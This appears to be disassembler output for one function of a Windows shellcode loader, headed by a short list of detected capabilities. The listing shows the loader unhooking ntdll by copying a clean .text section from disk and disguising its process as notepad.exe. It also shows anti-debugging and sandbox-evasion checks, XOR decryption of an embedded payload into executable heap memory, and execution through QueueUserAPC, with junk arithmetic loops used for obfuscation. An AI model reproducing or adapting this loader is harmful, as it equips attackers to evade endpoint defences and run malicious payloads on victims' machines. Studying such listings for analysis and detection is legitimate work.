Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x7d8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x740], xmm6
mov dword [rbp + 0x780], ecx
mov qword [rbp + 0x788], rdx
call fcn.140002a40
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6d8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6d0], rax
movsd xmm0, qword [0x1400065a8]
movsd qword [rbp + 0x738], xmm0
movsd xmm0, qword [0x1400065b0]
movsd qword [rbp + 0x6c8], xmm0
jmp 0x1400014fb
movsd xmm0, qword [rbp + 0x6c8]
mov rax, qword [rbp + 0x738]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003d60
movq rax, xmm0
mov qword [rbp + 0x738], rax
movsd xmm0, qword [0x1400065b8]
comisd xmm0, xmmword [rbp + 0x738]
ja 0x1400014d2
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6c0], rax
mov ecx, 0x448
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b8], rax
mov dword [rbp + 0x734], 0
jmp 0x1400015d0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x734]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x734], 1
cmp dword [rbp + 0x734], 0x111
jle 0x140001547
mov dword [rbp + 0x734], 0
jmp 0x1400016fc
mov dword [rbp + 0x544], 0
jmp 0x1400016de
mov eax, dword [rbp + 0x734]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x544]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x1400016d7
mov eax, dword [rbp + 0x544]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x540], xmm0
mov eax, dword [rbp + 0x734]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rdx, rax
mov eax, dword [rbp + 0x544]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x544]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
movss xmm0, dword [rbp + 0x540]
movss dword [rax], xmm0
add dword [rbp + 0x734], 1
mov eax, 0x111
sub eax, dword [rbp + 0x734]
cmp dword [rbp + 0x544], eax
jl 0x1400015fe
add dword [rbp + 0x734], 1
cmp dword [rbp + 0x734], 0x111
jle 0x1400015ef
mov rax, qword [rbp + 0x6b8]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
cmp qword [rbp + 0x728], 0
jne 0x140001785
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
cmp qword [rbp + 0x728], 0
je 0x140001b48
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x520]
mov rax, qword [rbp + 0x6c0]
mov r10, qword [rbp + 0x728]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x520]
mov qword [rbp + 0x6b0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x6b0]
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov qword [rbp + 0x688], rax
mov word [rbp + 0x726], 0
jmp 0x140001b30
mov rax, qword [rbp + 0x688]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x688]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x726]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x680]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b1f
mov dword [rbp + 0x4e8], 0
mov ecx, 0x1018
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov ecx, 0x1018
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x720], 0
jmp 0x1400019de
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x720]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x678]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x720], 1
cmp dword [rbp + 0x720], 0x202
jle 0x140001954
mov dword [rbp + 0x720], 0
jmp 0x140001a4c
mov eax, dword [rbp + 0x720]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x720]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x670]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003b10
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x720], 1
cmp dword [rbp + 0x720], 0x202
jle 0x1400019fa
mov rax, qword [rbp + 0x680]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x680]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4e8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x680]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x680]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x680]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x4e8]
mov rax, qword [rbp + 0x680]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x680]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4e8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x726]
add eax, 1
mov word [rbp + 0x726], ax
mov rax, qword [rbp + 0x688]
movzx eax, word [rax + 6]
cmp word [rbp + 0x726], ax
jb 0x1400018bf
mov dword [rbp + 0x4ec], 0
mov rax, qword [rbp + 0x6d8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x4f0]
lea rax, [rbp + 0x4ec]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x668]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x4f8]
add rax, 0x3c
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x660]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x658], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x650]
mov r9d, 0x3000
mov r8d, 0x3e7
mov edx, 0
call rax
mov qword [rbp + 0x658], rax
cmp qword [rbp + 0x658], 0
je 0x14000296a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
mov ecx, 0
call rax
mov dword [rbp + 0x644], eax
cmp dword [rbp + 0x644], 0xffffffff
je 0x14000296a
mov qword [rbp + 0x638], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x630], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x630]
mov r9d, 0x3000
mov r8d, 0x375
mov edx, 0
call rax
mov qword [rbp + 0x638], rax
cmp qword [rbp + 0x638], 0
je 0x14000296a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x628], rax
cmp qword [rbp + 0x628], 0
je 0x140001d95
mov rax, qword [rbp + 0x628]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov ecx, 0
call rax
mov dword [rbp + 0x71c], eax
cmp dword [rbp + 0x71c], 0xffffffff
je 0x14000296a
lea rax, str.vyrhjfgvcekpqswc.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x618], rax
cmp qword [rbp + 0x618], 0
jne 0x14000296a
mov dword [rbp + 0x4e4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x4e4]
mov r8, qword [rbp + 0x610]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x4e4]
cmp eax, 1
je 0x14000296a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x608]
call rax
mov dword [rbp + 0x604], eax
mov ecx, 0x21b
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x608]
call rax
mov dword [rbp + 0x600], eax
mov eax, dword [rbp + 0x600]
sub eax, dword [rbp + 0x604]
cmp eax, 0x1e9
jbe 0x14000296a
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x5f8], rax
cmp qword [rbp + 0x5f8], 0
jne 0x14000296a
mov dword [rbp + 0x4e0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x4e0]
mov r8, qword [rbp + 0x5f0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x4e0]
cmp eax, 1
je 0x14000296a
mov qword [rbp + 0x5e8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x5e0]
mov r9d, 0x3000
mov r8d, 0x39e
mov edx, 0
call rax
mov qword [rbp + 0x5e8], rax
cmp qword [rbp + 0x5e8], 0
je 0x14000296a
lea rax, [rbp + 0x80]
lea rdx, [0x140006150]
mov ecx, 0x8a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
mov ecx, 0x1620
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5d8], rax
mov ecx, 0x1620
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5d0], rax
mov dword [rbp + 0x718], 0
jmp 0x1400020a5
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x718]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5d8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x718], 1
cmp dword [rbp + 0x718], 0x2c3
jle 0x14000201b
mov dword [rbp + 0x718], 0
jmp 0x140002113
mov eax, dword [rbp + 0x718]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5d8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x718]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x5d0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003a30
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x718], 1
cmp dword [rbp + 0x718], 0x2c3
jle 0x1400020c1
mov rax, qword [rbp + 0x6d0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c8], rax
mov rax, qword [rbp + 0x6d0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c0], rax
mov rax, qword [rbp + 0x5c8]
mov r8d, 0
mov edx, 0x450
mov ecx, 0x40000
call rax
mov qword [rbp + 0x5b8], rax
mov rax, qword [rbp + 0x5b8]
mov r9, qword [rbp + 0x5c0]
mov r8d, 0x450
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x5b0], rax
mov dword [rbp + 0x714], 0xffffffff
mov ecx, 0x660
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5a8], rax
add dword [rbp + 0x714], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065c0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x714]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5a8]
add rax, rdx
movsd xmm1, qword [0x1400065c8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x714]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5a8]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x714]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5a8]
add rax, rdx
movq xmm1, qword [0x1400065d0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x714], 0xca
jle 0x1400021c2
mov rax, qword [rbp + 0x6d8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a0], rax
lea rdx, [rbp + 0x80]
mov rax, qword [rbp + 0x5b0]
mov r9, qword [rbp + 0x5a0]
mov r8d, 0x450
mov rcx, rax
call r9
mov ecx, 0xeac
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x598], rax
mov dword [rbp + 0x70c], 0
mov dword [rbp + 0x594], 0
mov dword [rbp + 0x710], 0
jmp 0x140002327
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x710]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x598]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x710], 1
cmp dword [rbp + 0x710], 0x3aa
jle 0x1400022db
mov dword [rbp + 0x710], 0
jmp 0x140002368
mov eax, dword [rbp + 0x710]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x598]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x70c], eax
add dword [rbp + 0x710], 1
cmp dword [rbp + 0x710], 0x3aa
jle 0x14000233f
mov rax, qword [rbp + 0x598]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x708], 0
mov dword [rbp + 0x700], 1
jmp 0x140002449
mov dword [rbp + 0x704], 0
mov eax, dword [rbp + 0x700]
mov dword [rbp + 0x6fc], eax
jmp 0x14000241f
mov edx, dword [rbp + 0x6fc]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x548], edx
mov eax, dword [rbp + 0x548]
imul eax, eax
imul eax, dword [rbp + 0x548]
add dword [rbp + 0x704], eax
mov eax, dword [rbp + 0x6fc]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x6fc], eax
cmp dword [rbp + 0x6fc], 0
jne 0x1400023b4
mov eax, dword [rbp + 0x704]
cmp eax, dword [rbp + 0x700]
jne 0x140002442
mov eax, dword [rbp + 0x700]
mov dword [rbp + 0x54c], eax
add dword [rbp + 0x700], 1
cmp dword [rbp + 0x700], 0x12c
jle 0x14000239c
mov dword [rbp + 0x6f8], 0
mov dword [rbp + 0x6f4], 0
movabs rax, 0x86cc72986138ab11
movabs rdx, 0x4d9bd16ca6ecd422
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x38651f9c3606fec6
movabs rdx, 0xdc4894f1e0eb1480
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x1564571b9d2214c2
movabs rdx, 0x89bca40e37f7a3b1
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x26b20edd9289bc
mov qword [rbp - 0x12], rax
movabs rax, 0x4ed56fe0db19e7bd
movabs rdx, 0xb9cb39622ac55f14
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x1408631d5b126e05
movabs rdx, 0x94d1732ce31811d9
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x19a485c8c172a435
movabs rdx, 0xd46a55a2e89fa0af
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x4131619f79d46a55
movabs rdx, 0x6987a8c482fb7d
mov qword [rbp + 0x6d], rax
mov qword [rbp + 0x75], rdx
jmp 0x14000276d
mov eax, dword [rbp + 0x708]
cdqe
movzx edx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x6f8]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x708]
cdqe
mov byte [rbp + rax], dl
cmp dword [rbp + 0x6f8], 0x34
jne 0x14000275f
mov dword [rbp + 0x6ec], 0
mov dword [rbp + 0x56c], 0
mov ecx, 0x618
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x560], rax
mov dword [rbp + 0x6f0], 0
jmp 0x140002626
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x6f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x560]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x6f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x560]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x6ec], eax
add dword [rbp + 0x6f0], 1
cmp dword [rbp + 0x6f0], 0x185
jle 0x1400025aa
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x6f8], 0
mov ecx, 0xa64
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x558], rax
mov ecx, 0xa64
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x550], rax
mov dword [rbp + 0x6e4], 0x298
mov dword [rbp + 0x6e8], 0
jmp 0x1400026d4
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x6e8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x558]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x6e8], 1
cmp dword [rbp + 0x6e8], 0x298
jle 0x140002687
mov dword [rbp + 0x6e8], 0
jmp 0x140002733
mov eax, dword [rbp + 0x6e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x558]
add rax, rdx
mov edx, dword [rbp + 0x6e8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x550]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x6e4], 1
add dword [rbp + 0x6e8], 1
cmp dword [rbp + 0x6e8], 0x298
jle 0x1400026ec
mov rax, qword [rbp + 0x558]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x550]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x140002766
add dword [rbp + 0x6f8], 1
add dword [rbp + 0x708], 1
mov eax, dword [rbp + 0x708]
cmp eax, 0x3b
jbe 0x140002544
mov dword [rbp + 0x708], 0
jmp 0x1400028d1
mov eax, dword [rbp + 0x708]
movsxd rdx, eax
mov rax, qword [rbp + 0x5b0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x6f4]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x708]
movsxd rdx, eax
mov rax, qword [rbp + 0x5b0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x6f4], 0x3b
jne 0x1400028c3
mov dword [rbp + 0x6f4], 0
mov ecx, 0x1d50
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x570], rax
mov dword [rbp + 0x6e0], 0
jmp 0x14000284b
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065c0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x6e0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x570]
add rax, rdx
movsd xmm1, qword [0x1400065c8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x6e0], 1
cmp dword [rbp + 0x6e0], 0x3a9
jle 0x1400027fd
mov dword [rbp + 0x6e0], 0
jmp 0x1400028b5
mov eax, dword [rbp + 0x6e0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x570]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x6e0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x570]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x6e0], 1
cmp dword [rbp + 0x6e0], 0x3a9
jle 0x140002863
jmp 0x1400028ca
add dword [rbp + 0x6f4], 1
add dword [rbp + 0x708], 1
cmp dword [rbp + 0x708], 0x44f
jle 0x14000278b
mov rax, qword [rbp + 0x5b0]
mov qword [rbp + 0x588], rax
mov rax, qword [rbp + 0x6d0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x580], rax
mov rax, qword [rbp + 0x6d0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x578], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x588]
mov r9, qword [rbp + 0x580]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x578]
mov edx, 1
